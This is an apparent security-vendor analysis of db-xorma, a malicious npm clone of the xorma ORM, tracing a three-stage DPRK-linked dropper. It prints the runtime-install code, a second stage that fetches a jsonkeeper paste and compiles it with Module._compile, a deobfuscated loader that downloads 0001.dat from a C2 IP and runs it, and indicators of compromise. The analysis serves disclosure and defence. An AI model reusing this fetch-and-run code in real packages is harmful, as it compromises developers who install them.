Most malicious npm packages smuggle their payload inside the tarball — an obfuscated blob, a poisoned install hook; db-xorma keeps its weapon off-package entirely and ships little more than a working library. It is a working clone of xorma, a real mobx-powered reactive ORM, with the store, the undo/redo history, even the author line all lifted — the clean clothes the whole operation hides behind. Instantiate any model and a static method the clone bolted on, resetor(), pulls a second package off the registry at runtime and lets it fetch a third stage.
Stage 1 — the armed CommonJS twin
const { syncApi: npm } = require("oubliette");
// …called from the Model constructor: this.constructor.resetor()
static resetor() {
try {
const C = require("db-dx-connector");
new C({}).queryDBConnect();
} catch (err) {
try {
npm().install("db-dx-connector", { loglevel: "silent", "no-save": true });
new (require("db-dx-connector"))({}).queryDBConnect();
} catch (error) {}
}
}
The dropper lives only in the CommonJS build — the module entry bundlers prefer is clean — so it fires server-side under require and never shows up in the browser bundle the README sells. On first call db-dx-connector isn't installed, the require throws, and the catch installs it then runs its connect method, so the second stage arrives on demand rather than in the tarball.
| File | Trait | Evidence | |
|---|---|---|---|
dist/index.js |
objectives/supply-chain/install-hook/scripts/dynamic-install |
Installs db-dx-connector via the aliased API when its require fails [T1195.002] |
|
dist/index.js |
objectives/supply-chain/impersonation/package-manager |
Third-party installer imported under the name npm [T1195.002] |
|
dist/index.js |
micro-behaviors/process/create/exec |
Commented-out execSync reinstalling clsx-js — prior-campaign leftover |
Laundering the install through oubliette
The install gets the same treatment: npm().install(...) looks like a programmatic API, but oubliette only assembles a real npm command string and runs it through child_process, so the genuine client does the fetching.
// oubliette/lib/oubliette-sync.js — the whole mechanism
const exec = require("node:child_process").execSync;
const command = `npm ${name} ${serialise(...args)}`.trim(); // "npm install db-dx-connector --loglevel silent"
const output = exec(command, options);
What db-xorma gains is a clean source — no execSync, no child_process import, not even an install string, because every such primitive sits one dependency away in oubliette. Oubliette is genuinely blameless, a real programmatic-npm wrapper by Stephen Cresswell born when npm dropped its API in v8.0.0; the malware simply rents its respectability.
Stage 2 — the connector that compiles a ghost
db-dx-connector is a near-verbatim clone of Divblox's real dx-db-connector, author line and all, with one extra method. It base64-decodes a jsonkeeper.com URL, pulls the JSON's content field with axios, and compiles the response in memory as a fake module named error.js via Module._compile — no temp file, no eval keyword, and a public paste host the operator can re-stock without re-touching npm.
async queryDBConnect() {
try {
const HASH_KEY = "aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9aSUFJSw"; // → jsonkeeper.com/b/ZIAIK
const s1 = (await axios.get(atob(HASH_KEY))).data.content;
const Mod = require("node:module");
const m = new Mod.Module("error.js", module.parent);
m._compile(s1, "error.js"); // runs remote code as if it were error.js
} catch (error) {}
}
| File | Trait | Evidence | |
|---|---|---|---|
index.js |
objectives/command-and-control/dropper/delivery/fetch-eval |
JsonKeeper payload fetched and run via Module._compile [T1102.001, T1059.007] |
|
index.js |
objectives/supply-chain/hidden-payload/exec |
npm package compiles a hidden remote payload [T1195.002, T1059.007] | |
index.js |
objectives/supply-chain/trojanized/package |
Trojanized clone of dx-db-connector that stages the JsonKeeper payload [T1195.002] |
Stage 3 — the BeaverTail loader
The jsonkeeper blob is javascript-obfuscator output; decoded, it is the same loader catalogued across this site's DPRK finds. It spawns an npm install for axios and socket.io-client, GETs its next stage from a hard-coded address, writes it to the temp directory as 0001.dat, and runs it with node. The C2 at 5.231.107.229 and the campaign id are new; the 0001.dat / socket.io-client / node-runner skeleton is not — it is @sqlite-node/createsql and web-dotenv wearing yet another wrapper.
// stage 3, deobfuscated (string array RC4-decoded)
spawn(npmBin, "npm install axios socket.io-client --no-save --no-progress --loglevel silent",
{ windowsHide: true, cwd: os.tmpdir() });
const C2 = "http://5.231.107.229/api/service/6818cc25a53cf93f290d85c334d8a3b8";
axios.get(C2).then((res) => {
writeFileSync(join(os.tmpdir(), "0001.dat"), res.data, { flag: "w+" });
spawn(npmBin, "node 0001.dat", { windowsHide: true, cwd: os.tmpdir() });
});
| File | Trait | Evidence | |
|---|---|---|---|
stage3 payload |
objectives/command-and-control/dropper/execution/network-stage |
Obfuscated downloader fetches and runs the next Node stage [T1105] | |
stage3 payload |
objectives/supply-chain/hidden-payload/runtime |
Obfuscated loader hides staged execution at runtime | |
stage3 payload |
objectives/anti-static/obfuscation/obfuscator/js-obfuscator |
javascript-obfuscator string-array + rotation decoder | |
stage3 payload |
micro-behaviors/process/create/spawn |
windowsHide spawn of node 0001.dat from tmpdir |
Package metadata
| Field | Value |
|---|---|
| Name | db-xorma |
| Version | 1.0.5 |
| Description | (empty) |
| Author | Austin Malerba |
| License | MIT |
| Main | dist/index.js |
| Module | dist/index.mjs |
| Dependencies | oubliette ^1.0.2, mobx ^6.13.5 |
| Peer dependencies | mobx ^6.0.0 |
Indicators
| Indicator | Value |
|---|---|
Stage 1 tarball (db-xorma) SHA-256 |
50631ecc747eab0af192ad4f328081047fe320d5b19bf8746c27b6c5e25861a6 |
Stage 1 index.js SHA-256 |
392b84c49a18b431b6f454c715a8f6b43e63f95d47b44b55dd70a85c8ed8c465 |
Stage 2 tarball (db-dx-connector) SHA-256 |
2a94901a01417bf2c0096556725ca56619f176b0c79d3d6a1fcf4ff48e35e35b |
Stage 2 index.js SHA-256 |
5ec319f44610644a95e0cfaccf4fba6cbe3b2f0a1532f9179bcff3d22b121cbe |
| Stage 3 payload SHA-256 | 8cd5ddcaed0e7f15b570a531d59f1dd6698d9bd7246dbf87c59e877a8720b6ff |
| Stage 3 dead-drop | https://www.jsonkeeper.com/b/ZIAIK |
| C2 | http://5.231.107.229/api/service/6818cc25a53cf93f290d85c334d8a3b8 |
| Campaign id | 6818cc25a53cf93f290d85c334d8a3b8 |
| Runtime-installed package | db-dx-connector |
| Prior-campaign target (commented) | clsx-js |
| Dropped artifact | 0001.dat (in os.tmpdir()) |
Strip the three clean wrappers — a real ORM, a real connector, a real installer — and db-xorma is just a courier: npm does the fetching, npm does the detonating, and the dirtiest laundry, the obfuscated loader, is the one thing it never carries. The whole bet was that subtlety reads as safety — nothing obfuscated, nothing on disk, the install buried one dependency deep — yet Atomdrift flagged every hop as hostile anyway, because it scores the plumbing, not the dirt, and a laundered channel is still a channel.